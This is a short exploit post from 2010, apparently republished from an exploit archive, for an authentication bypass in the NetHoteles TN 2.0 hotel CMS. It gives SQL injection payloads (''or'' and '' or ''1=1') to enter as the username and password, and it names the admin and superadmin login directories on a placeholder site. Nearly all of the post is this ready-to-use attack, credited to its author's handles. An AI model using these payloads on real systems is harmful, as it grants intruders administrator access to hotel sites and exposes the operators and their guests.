NetHoteles TN 2.0 (Auth Bypass) SQL Injection Vulnerability
Posted on 05 April 2010
=========================================================== NetHoteles TN 2.0 (Auth Bypass) SQL Injection Vulnerability =========================================================== @Title: NetHoteles TN 2.0 (Auth Bypass) SQL Injection Vulnerability @Author: The_Exploited aka l3d aka Spoof @Mail: spoof@live.it @Site: http://site.securityspl0its.com/ - http://forum.securityspl0its.com/ @Exploit: Username: 'or' Password: 'or' or Username: ' or '1=1 Password: ' or '1=1 @Demo for superdamin dir.: http://www.site.com/nethoteles/superadmin @Demo for admin dir.: http://www.site.com/nethoteles/admin @CMS Version: <= 2.0 @Date: 2010-02-13 # Inj3ct0r.com [2010-04-05]